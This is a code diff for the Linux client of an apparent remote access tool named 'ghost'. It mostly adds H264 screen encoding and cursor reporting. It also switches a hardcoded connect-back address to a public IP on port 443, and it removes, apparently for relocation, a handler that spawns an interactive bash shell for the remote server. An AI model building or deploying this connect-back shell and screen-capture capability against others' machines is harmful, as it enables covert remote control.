+                    Mprintf(">>> H264 encoder reset due to bitrate change\n");
+                }
+            }
+
+            Mprintf(">>> Quality: Level=%d, FPS=%d, Algo=%d->%d, Bitrate=%d\n",
+                    level, profile.maxFPS, profile.algorithm, algo, profile.bitRate);
        } else {
            // 自适应模式 (level=-1)：由服务端动态调整，不做处理
            Mprintf(">>> Quality: Adaptive mode\n");
@@ -1044,11 +1133,15 @@ private:
    std::vector<uint8_t> m_diffBuffer;

    // 自适应质量控制
-    std::atomic<uint8_t> m_bAlgorithm;  // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY)
+    std::atomic<uint8_t> m_bAlgorithm;  // 当前算法 (ALGORITHM_DIFF/RGB565/GRAY/H264)
    std::atomic<int> m_maxFPS;          // 最大帧率
    int8_t m_qualityLevel;              // 当前质量等级 (-1=自适应, 0-5=具体等级)
    LinuxConfig m_config;                // 配置持久化 (~/.config/ghost/config.conf)

+    // H264 编码器
+    std::unique_ptr<X264Encoder> m_h264Encoder;
+    int m_h264Bitrate;                   // 码率 (kbps)
+
    // X11 截屏，输出 BGRA 格式（自底向上，与 BMP 一致）
    // 使用 XCopyArea 将 root window 拷贝到离屏 Pixmap，再对 Pixmap 调用 XGetImage
    // 这样可以避免合成窗口管理器（Mutter 等）导致的 BadMatch 错误
@@ -1120,13 +1213,14 @@ private:
        uint8_t algo = m_bAlgorithm.load();
        memcpy(data, &algo, sizeof(uint8_t));

-        // 写入光标位置 (Linux 端简单置 0)
+        // 写入光标位置
        int32_t cursorX = 0, cursorY = 0;
+        GetCursorPosition(cursorX, cursorY);
        memcpy(data + 1, &cursorX, sizeof(int32_t));
        memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));

-        // 写入光标类型
-        uint8_t cursorType = 0;
+        // 写入光标类型 (使用 XFixes 检测)
+        uint8_t cursorType = GetCursorTypeIndex();
        memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));

        uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1; // algo + cursor + cursorType
@@ -1141,6 +1235,60 @@ private:
        std::swap(m_prevFrame, m_currFrame);
    }

+    // 发送 H264 编码帧
+    void SendH264Frame(bool forceKeyframe = false)
+    {
+        if (!CaptureScreen(m_currFrame)) return;
+        if (!m_client) return;
+
+        // 惰性初始化编码器
+        if (!m_h264Encoder) {
+            m_h264Encoder.reset(new X264Encoder());
+            int fps = m_maxFPS.load();
+            if (fps <= 0) fps = 20;
+            int crf = BitRateToCRF(m_h264Bitrate);
+            if (!m_h264Encoder->open(m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf)) {
+                Mprintf("*** H264 encoder init failed, falling back to RGB565\n");
+                m_bAlgorithm.store(ALGORITHM_RGB565);
+                m_h264Encoder.reset();
+                SendDiffFrame();
+                return;
+            }
+            Mprintf(">>> H264 encoder initialized: %dx%d @ %d fps, CRF=%d\n",
+                    m_bmpHeader.biWidth, m_bmpHeader.biHeight, fps, crf);
+        }
+
+        // 编码当前帧
+        uint8_t* encodedData = nullptr;
+        uint32_t encodedSize = 0;
+
+        // direction=1 表示 bottom-up (BMP 格式)
+        int result = m_h264Encoder->encode(
+            m_currFrame.data(), 32, m_bmpHeader.biWidth * 4,
+            m_bmpHeader.biWidth, m_bmpHeader.biHeight,
+            &encodedData, &encodedSize, 1);
+
+        if (result != 0 || !encodedData || encodedSize == 0) {
+            return;
+        }
+
+        // 构建数据包: [TOKEN_NEXTSCREEN][algo][cursorX][cursorY][cursorType][H264Data]
+        uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
+        std::vector<uint8_t> packet(headerSize + encodedSize);
+
+        packet[0] = TOKEN_NEXTSCREEN;
+        packet[1] = ALGORITHM_H264;
+
+        int32_t cursorX = 0, cursorY = 0;
+        GetCursorPosition(cursorX, cursorY);
+        memcpy(&packet[2], &cursorX, sizeof(int32_t));
+        memcpy(&packet[6], &cursorY, sizeof(int32_t));
+        packet[10] = GetCursorTypeIndex();  // 使用 XFixes 检测光标类型
+
+        memcpy(&packet[headerSize], encodedData, encodedSize);
+        m_client->Send2Server((char*)packet.data(), packet.size());
+    }
+
    // 差异比较算法（支持 DIFF/RGB565/GRAY）
    // 输出格式: [byteOffset(4) + length(4) + pixel data] ...
    // DIFF: length = 字节数, data = BGRA 原始数据
@@ -1224,6 +1372,118 @@ private:
        return (uint64_t)ts.tv_sec * 1000 + ts.tv_nsec / 1000000;
    }

+    // 获取光标位置
+    void GetCursorPosition(int32_t& x, int32_t& y)
+    {
+        x = 0;
+        y = 0;
+
+        // 检查是否正在运行和资源是否有效
+        if (!m_running.load() || m_destroyed.load()) {
+            static bool warned = false;
+            if (!warned) {
+                Mprintf("*** GetCursorPosition: skipped (running=%d, destroyed=%d)\n",
+                        m_running.load(), m_destroyed.load());
+                warned = true;
+            }
+            return;
+        }
+
+        Display* display = m_display;  // 局部拷贝
+        if (!display || !m_x11.pXQueryPointer) {
+            static bool warned = false;
+            if (!warned) {
+                Mprintf("*** GetCursorPosition: display=%p, pXQueryPointer=%p\n",
+                        (void*)display, (void*)m_x11.pXQueryPointer);
+                warned = true;
+            }
+            return;
+        }
+
+        Window root_return, child_return;
+        int root_x, root_y, win_x, win_y;
+        unsigned int mask;
+
+        if (m_x11.pXQueryPointer(display, m_root, &root_return, &child_return,
+                                  &root_x, &root_y, &win_x, &win_y, &mask)) {
+            x = root_x;
+            y = root_y;
+
+            // Clamp to screen bounds
+            if (x < 0) x = 0;
+            if (y < 0) y = 0;
+            if (x >= m_width) x = m_width - 1;
+            if (y >= m_height) y = m_height - 1;
+        }
+    }
+
+    // 获取光标类型索引（映射到 Windows 光标类型）
+    // Windows cursor type indices (from CursorInfo.h):
+    // 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
+    // 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
+    // 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
+    // 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
+    uint8_t GetCursorTypeIndex()
+    {
+        // Cache result and throttle to avoid performance impact
+        static uint8_t cachedIndex = 1;  // Default: IDC_ARROW
+        static uint64_t lastCheckTime = 0;
+        static unsigned long lastCursorSerial = 0;
+
+        // Throttle: check at most every 100ms
+        uint64_t now = GetTickMs();
+        if ((now - lastCheckTime) < 100) {
+            return cachedIndex;
+        }
+        lastCheckTime = now;
+
+        // Check if XFixes is available and XFree is loaded
+        if (!m_x11.HasXFixes() || !m_x11.pXFree || !m_display) {
+            return 1;  // IDC_ARROW
+        }
+
+        // Get current cursor image
+        XFixesCursorImage* cursorImg = m_x11.pXFixesGetCursorImage(m_display);
+        if (!cursorImg) {
+            return cachedIndex;
+        }
+
+        // Check if cursor changed (using serial number)
+        if (cursorImg->cursor_serial == lastCursorSerial) {
+            // Cursor hasn't changed, use cached value
+            // Note: We need to free the cursor image
+            // XFixes allocates this with Xlib's allocator
+            m_x11.pXFree(cursorImg);
+            return cachedIndex;
+        }
+        lastCursorSerial = cursorImg->cursor_serial;
+
+        // Analyze cursor characteristics to determine type
+        uint8_t index = 1;  // Default to IDC_ARROW
+
+        unsigned short w = cursorImg->width;
+        unsigned short h = cursorImg->height;
+        unsigned short xhot = cursorImg->xhot;
+        unsigned short yhot = cursorImg->yhot;
+
+        // Heuristic-based cursor type detection (conservative approach):
+        // Only detect distinctive cursor types to minimize false positives
+
+        // IBEAM (text cursor): very narrow, tall cursor
+        if (w <= 8 && h >= 12 && xhot <= w/2 + 1) {
+            index = 5;  // IDC_IBEAM
+        }
+        // HAND (pointing): hotspot at top-left area (finger tip)
+        else if (w >= 18 && h >= 20 && xhot <= 10 && yhot <= 5) {
+            index = 3;  // IDC_HAND
+        }
+        // All other cursors default to ARROW
+
+        cachedIndex = index;
+        m_x11.pXFree(cursorImg);
+        return index;
+    }
+
    // 截屏主循环
    void CaptureLoop()
    {
@@ -1233,10 +1493,34 @@ private:
            // 发送第一帧
            SendFirstScreen();

+            uint8_t currentAlgo = m_bAlgorithm.load();
+
            while (m_running) {
                uint64_t start = GetTickMs();
+                uint8_t algo = m_bAlgorithm.load();

+                // 算法切换处理
+                if (algo != currentAlgo) {
+                    currentAlgo = algo;
+                    if (algo == ALGORITHM_H264) {
+                        // 切换到 H264，发送关键帧
+                        SendH264Frame(true);
+                    } else {
+                        // 切换离开 H264，关闭编码器并发送完整帧
+                        if (m_h264Encoder) {
+                            m_h264Encoder->close();
+                            m_h264Encoder.reset();
+                        }
+                        SendFirstScreen();
+                    }
+                } else {
+                    // 正常帧
+                    if (algo == ALGORITHM_H264) {
+                        SendH264Frame(false);
+                    } else {
                        SendDiffFrame();
+                    }
+                }

                // 动态计算帧间隔（根据当前 maxFPS）
                int fps = m_maxFPS.load();
@@ -1250,6 +1534,12 @@ private:
                }
            }

+            // 清理 H264 编码器
+            if (m_h264Encoder) {
+                m_h264Encoder->close();
+                m_h264Encoder.reset();
+            }
+
            Mprintf(">>> ScreenHandler CaptureLoop stopped\n");
        } catch (const std::exception& e) {
            Mprintf("*** CaptureLoop exception: %s ***\n", e.what());
--- a/linux/X264Encoder.h
+++ b/linux/X264Encoder.h
@@ -0,0 +1,471 @@
+#pragma once
+/**
+ * X264Encoder.h - Linux H264 Encoder using libx264
+ *
+ * Features:
+ *   - Dynamic library loading (dlopen/dlsym)
+ *   - Automatic fallback if libx264 not available
+ *   - Manual BGRA→I420 conversion (no libyuv dependency)
+ *   - API compatible with Windows X264Encoder
+ *
+ * Requirements:
+ *   - libx264 installed (apt install libx264-dev)
+ *   - If not installed, H264 encoding is disabled
+ */
+
+#include <stdint.h>
+#include <cstring>
+#include <cstdlib>
+#include <dlfcn.h>
+#include <vector>
+
+// Include x264 header for struct definitions
+// The library is dynamically loaded at runtime
+extern "C" {
+#include "../compress/x264/x264.h"
+}
+
+// ============== X264Encoder Class ==============
+
+class X264Encoder {
+public:
+    // Check if libx264 is available on this system
+    static bool IsAvailable() {
+        static int available = -1;
+        if (available < 0) {
+            void* handle = TryLoadLibrary();
+            available = (handle != nullptr) ? 1 : 0;
+            if (handle) {
+                dlclose(handle);
+                fprintf(stderr, ">>> X264Encoder: libx264 available\n");
+            } else {
+                fprintf(stderr, "*** X264Encoder: libx264 not found (%s)\n", dlerror());
+            }
+        }
+        return available == 1;
+    }
+
+    X264Encoder()
+        : m_x264Handle(nullptr)
+        , m_encoder(nullptr)
+        , m_picIn(nullptr)
+        , m_picOut(nullptr)
+        , m_width(0)
+        , m_height(0)
+    {
+        memset(&m_param, 0, sizeof(m_param));
+        clearFunctionPointers();
+    }
+
+    ~X264Encoder() {
+        close();
+    }
+
+    bool open(int width, int height, int fps, int crf) {
+        close();
+
+        // Load library
+        if (!loadLibrary()) {
+            fprintf(stderr, "*** X264Encoder::open: loadLibrary failed\n");
+            return false;
+        }
+
+        // Round to even dimensions (H264 requirement)
+        m_width = width & ~1;
+        m_height = height & ~1;
+
+        // Initialize parameters
+        if (fn_x264_param_default_preset) {
+            fn_x264_param_default_preset(&m_param, "ultrafast", "zerolatency");
+        }
+
+        // Set encoder parameters
+        m_param.i_width = m_width;
+        m_param.i_height = m_height;
+        m_param.i_log_level = X264_LOG_NONE;
+        m_param.i_threads = 1;
+        m_param.i_frame_total = 0;
+        m_param.i_keyint_max = fps * 15;  // Keyframe every 15 seconds
+        m_param.i_bframe = 0;              // No B-frames for low latency
+        m_param.b_open_gop = 0;
+        m_param.i_fps_num = fps;
+        m_param.i_fps_den = 1;
+        m_param.i_csp = X264_CSP_I420;
+
+        // Rate control: CRF mode
+        m_param.rc.i_rc_method = X264_RC_CRF;
+        m_param.rc.f_rf_constant = (float)crf;
+
+        // Apply baseline profile for compatibility
+        if (fn_x264_param_apply_profile) {
+            fn_x264_param_apply_profile(&m_param, "baseline");
+        }
+
+        // Allocate pictures
+        m_picIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
+        m_picOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
+        if (!m_picIn || !m_picOut) {
+            close();
+            return false;
+        }
+
+        // Initialize input picture
+        if (fn_x264_picture_init) {
+            fn_x264_picture_init(m_picIn);
+        }
+
+        // Allocate picture buffer
+        if (fn_x264_picture_alloc) {
+            if (fn_x264_picture_alloc(m_picIn, X264_CSP_I420, m_width, m_height) < 0) {
+                close();
+                return false;
+            }
+        }
+
+        // Open encoder
+        m_encoder = fn_x264_encoder_open(&m_param);
+        if (!m_encoder) {
+            close();
+            return false;
+        }
+
+        return true;
+    }
+
+    void close() {
+        if (m_encoder && fn_x264_encoder_close) {
+            fn_x264_encoder_close(m_encoder);
+            m_encoder = nullptr;
+        }
+
+        if (m_picIn) {
+            if (fn_x264_picture_clean) {
+                fn_x264_picture_clean(m_picIn);
+            }
+            free(m_picIn);
+            m_picIn = nullptr;
+        }
+
+        if (m_picOut) {
+            free(m_picOut);
+            m_picOut = nullptr;
+        }
+
+        unloadLibrary();
+        m_width = m_height = 0;
+    }
+
+    /**
+     * Encode a frame
+     * @param bgra      Input BGRA image data
+     * @param bpp       Bits per pixel (24 or 32)
+     * @param stride    Bytes per row
+     * @param width     Image width
+     * @param height    Image height
+     * @param outData   Output: pointer to encoded H264 data
+     * @param outSize   Output: size of encoded data
+     * @param direction 1 = normal, -1 = vertical flip
+     * @return 0 on success, negative on error
+     */
+    int encode(uint8_t* bgra, uint8_t bpp, uint32_t stride,
+               uint32_t width, uint32_t height,
+               uint8_t** outData, uint32_t* outSize,
+               int direction = 1)
+    {
+        if (!m_encoder || !m_picIn || !fn_x264_encoder_encode) {
+            return -1;
+        }
+
+        // Check dimensions match
+        if ((int)(width & ~1) != m_width || (int)(height & ~1) != m_height) {
+            return -2;
+        }
+
+        // Convert BGRA to I420 directly into x264 picture planes
+        if (bpp == 32) {
+            convertBGRAtoI420(bgra, stride, direction,
+                              m_picIn->img.plane[0], m_picIn->img.i_stride[0],
+                              m_picIn->img.plane[1], m_picIn->img.i_stride[1],
+                              m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
+        } else if (bpp == 24) {
+            convertRGB24toI420(bgra, stride, direction,
+                               m_picIn->img.plane[0], m_picIn->img.i_stride[0],
+                               m_picIn->img.plane[1], m_picIn->img.i_stride[1],
+                               m_picIn->img.plane[2], m_picIn->img.i_stride[2]);
+        } else {
+            return -3;
+        }
+
+        // Encode
+        x264_nal_t* pNal = nullptr;
+        int iNal = 0;
+        int encodeSize = fn_x264_encoder_encode(m_encoder, &pNal, &iNal, m_picIn, m_picOut);
+
+        if (encodeSize < 0) {
+            return -4;
+        }
+
+        if (encodeSize == 0 || !pNal) {
+            *outData = nullptr;
+            *outSize = 0;
+            return 0;
+        }
+
+        *outData = pNal->p_payload;
+        *outSize = encodeSize;
+        return 0;
+    }
+
+private:
+    // Library handle
+    void* m_x264Handle;
+
+    // Encoder state
+    x264_t* m_encoder;
+    x264_param_t m_param;
+    x264_picture_t* m_picIn;
+    x264_picture_t* m_picOut;
+    int m_width, m_height;
+
+    // x264 function pointers
+    void  (*fn_x264_param_default_preset)(x264_param_t*, const char*, const char*);
+    int   (*fn_x264_param_apply_profile)(x264_param_t*, const char*);
+    x264_t* (*fn_x264_encoder_open)(x264_param_t*);
+    void  (*fn_x264_encoder_close)(x264_t*);
+    int   (*fn_x264_encoder_encode)(x264_t*, x264_nal_t**, int*, x264_picture_t*, x264_picture_t*);
+    void  (*fn_x264_picture_init)(x264_picture_t*);
+    int   (*fn_x264_picture_alloc)(x264_picture_t*, int, int, int);
+    void  (*fn_x264_picture_clean)(x264_picture_t*);
+
+    void clearFunctionPointers() {
+        fn_x264_param_default_preset = nullptr;
+        fn_x264_param_apply_profile = nullptr;
+        fn_x264_encoder_open = nullptr;
+        fn_x264_encoder_close = nullptr;
+        fn_x264_encoder_encode = nullptr;
+        fn_x264_picture_init = nullptr;
+        fn_x264_picture_alloc = nullptr;
+        fn_x264_picture_clean = nullptr;
+    }
+
+    static void* TryLoadLibrary() {
+        // Try multiple library versions (newest first)
+        const char* libNames[] = {
+            "libx264.so",        // symlink (if exists)
+            "libx264.so.164",    // Ubuntu 24, Debian 12+
+            "libx264.so.163",
+            "libx264.so.162",
+            "libx264.so.161",
+            "libx264.so.160",
+            "libx264.so.159",
+            "libx264.so.157",
+            "libx264.so.155",    // Ubuntu 20
+            "libx264.so.152",
+            "libx264.so.148",    // older distros
+            nullptr
+        };
+
+        for (int i = 0; libNames[i]; i++) {
+            void* handle = dlopen(libNames[i], RTLD_LAZY);
+            if (handle) return handle;
+        }
+        return nullptr;
+    }
+
+    bool loadLibrary() {
+        m_x264Handle = TryLoadLibrary();
+        if (!m_x264Handle) {
+            return false;
+        }
+
+        // Load functions
+        fn_x264_param_default_preset = (decltype(fn_x264_param_default_preset))
+            dlsym(m_x264Handle, "x264_param_default_preset");
+
+        fn_x264_param_apply_profile = (decltype(fn_x264_param_apply_profile))
+            dlsym(m_x264Handle, "x264_param_apply_profile");
+
+        fn_x264_picture_init = (decltype(fn_x264_picture_init))
+            dlsym(m_x264Handle, "x264_picture_init");
+
+        fn_x264_picture_alloc = (decltype(fn_x264_picture_alloc))
+            dlsym(m_x264Handle, "x264_picture_alloc");
+
+        fn_x264_picture_clean = (decltype(fn_x264_picture_clean))
+            dlsym(m_x264Handle, "x264_picture_clean");
+
+        fn_x264_encoder_close = (decltype(fn_x264_encoder_close))
+            dlsym(m_x264Handle, "x264_encoder_close");
+
+        // x264_encoder_open has version suffix based on X264_BUILD
+        // Try common versions in order (newest first)
+        const char* openNames[] = {
+            "x264_encoder_open_164",
+            "x264_encoder_open_163",
+            "x264_encoder_open_162",
+            "x264_encoder_open_161",
+            "x264_encoder_open_160",
+            "x264_encoder_open_159",
+            "x264_encoder_open_157",
+            "x264_encoder_open_155",
+            "x264_encoder_open_152",
+            "x264_encoder_open_148",
+            nullptr
+        };
+
+        for (int i = 0; openNames[i]; i++) {
+            fn_x264_encoder_open = (decltype(fn_x264_encoder_open))
+                dlsym(m_x264Handle, openNames[i]);
+            if (fn_x264_encoder_open) {
+                fprintf(stderr, ">>> X264Encoder: found %s\n", openNames[i]);
+                break;
+            }
+        }
+
+        fn_x264_encoder_encode = (decltype(fn_x264_encoder_encode))
+            dlsym(m_x264Handle, "x264_encoder_encode");
+
+        // Check required functions
+        if (!fn_x264_encoder_open || !fn_x264_encoder_encode || !fn_x264_encoder_close ||
+            !fn_x264_param_default_preset || !fn_x264_picture_alloc) {
+            fprintf(stderr, "*** X264Encoder: missing functions - open=%p encode=%p close=%p preset=%p alloc=%p\n",
+                    (void*)fn_x264_encoder_open, (void*)fn_x264_encoder_encode,
+                    (void*)fn_x264_encoder_close, (void*)fn_x264_param_default_preset,
+                    (void*)fn_x264_picture_alloc);
+            unloadLibrary();
+            return false;
+        }
+
+        return true;
+    }
+
+    void unloadLibrary() {
+        if (m_x264Handle) {
+            dlclose(m_x264Handle);
+            m_x264Handle = nullptr;
+        }
+        clearFunctionPointers();
+    }
+
+    /**
+     * Convert BGRA to I420 (YUV 4:2:0 planar) directly into output planes
+     * Using ITU-R BT.601 coefficients
+     */
+    void convertBGRAtoI420(const uint8_t* bgra, int stride, int direction,
+                           uint8_t* yPlane, int yStride,
+                           uint8_t* uPlane, int uStride,
+                           uint8_t* vPlane, int vStride) {
+        int srcStride = stride;
+        int w = m_width;
+        int h = m_height;
+
+        // Direction: 1 = normal, -1 = flip vertically
+        int startY = (direction > 0) ? 0 : (h - 1);
+        int stepY = (direction > 0) ? 1 : -1;
+
+        // Y plane: full resolution
+        for (int j = 0; j < h; j++) {
+            int srcY = startY + j * stepY;
+            const uint8_t* srcRow = bgra + srcY * srcStride;
+            uint8_t* dstRow = yPlane + j * yStride;
+
+            for (int i = 0; i < w; i++) {
+                uint8_t b = srcRow[i * 4 + 0];
+                uint8_t g = srcRow[i * 4 + 1];
+                uint8_t r = srcRow[i * 4 + 2];
+                // Y = 0.257*R + 0.504*G + 0.098*B + 16
+                int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
+                dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
+            }
+        }
+
+        // U/V planes: half resolution (2x2 block averaging)
+        int uvW = w / 2;
+        int uvH = h / 2;
+
+        for (int j = 0; j < uvH; j++) {
+            int srcY0 = startY + (j * 2) * stepY;
+            int srcY1 = startY + (j * 2 + 1) * stepY;
+            const uint8_t* row0 = bgra + srcY0 * srcStride;
+            const uint8_t* row1 = bgra + srcY1 * srcStride;
+
+            for (int i = 0; i < uvW; i++) {
+                // Average 4 pixels
+                int r = 0, g = 0, b = 0;
+
+                b += row0[(i*2+0)*4 + 0]; g += row0[(i*2+0)*4 + 1]; r += row0[(i*2+0)*4 + 2];
+                b += row0[(i*2+1)*4 + 0]; g += row0[(i*2+1)*4 + 1]; r += row0[(i*2+1)*4 + 2];
+                b += row1[(i*2+0)*4 + 0]; g += row1[(i*2+0)*4 + 1]; r += row1[(i*2+0)*4 + 2];
+                b += row1[(i*2+1)*4 + 0]; g += row1[(i*2+1)*4 + 1]; r += row1[(i*2+1)*4 + 2];
+
+                r >>= 2; g >>= 2; b >>= 2;
+
+                // U = -0.148*R - 0.291*G + 0.439*B + 128
+                int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
+                // V = 0.439*R - 0.368*G - 0.071*B + 128
+                int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
+
+                uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
+                vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
+            }
+        }
+    }
+
+    /**
+     * Convert RGB24 to I420 (YUV 4:2:0 planar) directly into output planes
+     */
+    void convertRGB24toI420(const uint8_t* rgb, int stride, int direction,
+                            uint8_t* yPlane, int yStride,
+                            uint8_t* uPlane, int uStride,
+                            uint8_t* vPlane, int vStride) {
+        int srcStride = stride;
+        int w = m_width;
+        int h = m_height;
+
+        int startY = (direction > 0) ? 0 : (h - 1);
+        int stepY = (direction > 0) ? 1 : -1;
+
+        // Y plane
+        for (int j = 0; j < h; j++) {
+            int srcY = startY + j * stepY;
+            const uint8_t* srcRow = rgb + srcY * srcStride;
+            uint8_t* dstRow = yPlane + j * yStride;
+
+            for (int i = 0; i < w; i++) {
+                uint8_t r = srcRow[i * 3 + 0];
+                uint8_t g = srcRow[i * 3 + 1];
+                uint8_t b = srcRow[i * 3 + 2];
+                int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
+                dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
+            }
+        }
+
+        // U/V planes
+        int uvW = w / 2;
+        int uvH = h / 2;
+
+        for (int j = 0; j < uvH; j++) {
+            int srcY0 = startY + (j * 2) * stepY;
+            int srcY1 = startY + (j * 2 + 1) * stepY;
+            const uint8_t* row0 = rgb + srcY0 * srcStride;
+            const uint8_t* row1 = rgb + srcY1 * srcStride;
+
+            for (int i = 0; i < uvW; i++) {
+                int r = 0, g = 0, b = 0;
+
+                r += row0[(i*2+0)*3 + 0]; g += row0[(i*2+0)*3 + 1]; b += row0[(i*2+0)*3 + 2];
+                r += row0[(i*2+1)*3 + 0]; g += row0[(i*2+1)*3 + 1]; b += row0[(i*2+1)*3 + 2];
+                r += row1[(i*2+0)*3 + 0]; g += row1[(i*2+0)*3 + 1]; b += row1[(i*2+0)*3 + 2];
+                r += row1[(i*2+1)*3 + 0]; g += row1[(i*2+1)*3 + 1]; b += row1[(i*2+1)*3 + 2];
+
+                r >>= 2; g >>= 2; b >>= 2;
+
+                int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
+                int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
+
+                uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
+                vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
+            }
+        }
+    }
+};
--- a/linux/lib/libsign.a
+++ b/linux/lib/libsign.a
--- a/linux/main.cpp
+++ b/linux/main.cpp
@@ -14,7 +14,7 @@
 #include <csignal>
 #include <sys/wait.h>
 #include <sys/ioctl.h>
-#include <pty.h>
+#include "common/PTYHandler.h"
 #include <iostream>
 #include <stdexcept>
 #include <cstdio>
@@ -26,9 +26,9 @@
 #include <cmath>
 #include "ScreenHandler.h"
 #include "SystemManager.h"
-#include "FileManager.h"
+#include "common/FileManager.h"
 #include "ClipboardHandler.h"
-#include "FileTransferV2.h"
+#include "common/FileTransferV2.h"
 #include "common/logger.h"
 #define XXH_INLINE_ALL
 #include "common/xxhash.h"
@@ -37,14 +37,20 @@
 int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);

 // 远程地址：当前为写死状态，如需调试，请按实际情况修改
-CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
+CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };

 // 全局状态
 State g_bExit = S_CLIENT_NORMAL;
+static std::atomic<bool> g_needResendLogin(false);  // 分组变更后需要重发登录信息

 // 客户端 ID（V2 文件传输需要）
 uint64_t g_myClientID = 0;

+// 服务端身份校验：登录消息（签名输入），登录时间，是否已通过校验
+std::string g_loginMsg;
+time_t g_loginTime = 0;
+bool g_settingsVerified = false;
+
 // ============== UTF-8 → GBK 编码转换（服务端为 Windows GBK 环境） ==============

 static std::string utf8ToGbk(const std::string& utf8)
@@ -338,187 +344,7 @@ struct RttEstimator {
 RttEstimator g_rttEstimator;
 int g_heartbeatInterval = 5; // 默认心跳间隔（秒），可被服务端 CMD_MASTERSETTING 更新

-// 伪终端处理类：继承自IOCPManager.
-class PTYHandler : public IOCPManager
-{
-public:
-    PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
-    {
-        if (!client) {
-            throw std::invalid_argument("IOCPClient pointer cannot be null");
-        }
-
-        // 创建伪终端
-        if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
-            throw std::runtime_error("Failed to create pseudo terminal");
-        }
-
-        // 设置伪终端为非阻塞模式
-        int flags = fcntl(m_master_fd, F_GETFL, 0);
-        fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
-
-        // 启动 Shell 进程
-        startShell();
-    }
-
-    ~PTYHandler()
-    {
-        m_running = false;
-        if (m_readThread.joinable()) m_readThread.join();
-        close(m_master_fd);
-        close(m_slave_fd);
-        if (m_child_pid > 0) {
-            kill(m_child_pid, SIGTERM);
-            waitpid(m_child_pid, nullptr, 0);
-        }
-    }
-
-    // 启动读取线程
-    void Start()
-    {
-        bool expected = false;
-        if (!m_running.compare_exchange_strong(expected, true)) return;
-        m_readThread = std::thread(&PTYHandler::readFromPTY, this);
-    }
-
-    virtual VOID OnReceive(PBYTE data, ULONG size)
-    {
-        if (size && data[0] == COMMAND_NEXT) {
-            Start();
-            return;
-        }
-        // 处理终端尺寸调整命令
-        if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
-            int cols = *(short*)(data + 1);
-            int rows = *(short*)(data + 3);
-            SetWindowSize(cols, rows);
-            return;
-        }
-        std::string s((char*)data, size);
-        Mprintf("%s", s.c_str());
-        if (size > 0) {
-            ssize_t total = 0;
-            while (total < (ssize_t)size) {
-                ssize_t written = write(m_master_fd, (char*)data + total, size - total);
-                if (written == -1) {
-                    if (errno == EAGAIN || errno == EINTR) continue;
-                    Mprintf("OnReceive: write error %d\n", errno);
-                    break;
-                }
-                total += written;
-            }
-        }
-    }
-
-    // 设置终端窗口尺寸
-    void SetWindowSize(int cols, int rows)
-    {
-        struct winsize ws;
-        ws.ws_col = cols;
-        ws.ws_row = rows;
-        ws.ws_xpixel = 0;
-        ws.ws_ypixel = 0;
-
-        if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
-            Mprintf("SetWindowSize: ioctl failed %d\n", errno);
-        } else {
-            // 发送 SIGWINCH 给子进程，通知其窗口大小已改变
-            if (m_child_pid > 0) {
-                kill(m_child_pid, SIGWINCH);
-            }
-            Mprintf("SetWindowSize: %dx%d\n", cols, rows);
-        }
-    }
-private:
-    int m_master_fd, m_slave_fd;
-    IOCPClient* m_client;
-    std::thread m_readThread;
-    std::atomic<bool> m_running;
-    pid_t m_child_pid;
-
-    void startShell()
-    {
-        m_child_pid = fork();
-        if (m_child_pid == -1) {
-            close(m_master_fd);
-            close(m_slave_fd);
-            throw std::runtime_error("Failed to fork shell process");
-        }
-        if (m_child_pid == 0) {  // 子进程
-            setsid();  // 创建新的会话
-            dup2(m_slave_fd, STDIN_FILENO);
-            dup2(m_slave_fd, STDOUT_FILENO);
-            dup2(m_slave_fd, STDERR_FILENO);
-            close(m_master_fd);
-            close(m_slave_fd);
-
-            // 设置完整终端支持（xterm.js 终端仿真）
-            setenv("TERM", "xterm-256color", 1);
-            setenv("COLORTERM", "truecolor", 1);
-            // 使用 C.UTF-8 是最通用的 UTF-8 locale，几乎所有 Linux 都支持
-            setenv("LANG", "C.UTF-8", 1);
-            setenv("LC_ALL", "C.UTF-8", 1);
-
-            // 启动交互式 Bash
-            execl("/bin/bash", "bash", "-i", nullptr);
-            exit(1);
-        }
-    }
-
-    void readFromPTY()
-    {
-        char buffer[4096];
-        while (m_running) {
-            // 检查子进程是否已退出
-            int status;
-            pid_t result = waitpid(m_child_pid, &status, WNOHANG);
-            if (result == m_child_pid) {
-                // Shell 已退出，发送关闭通知
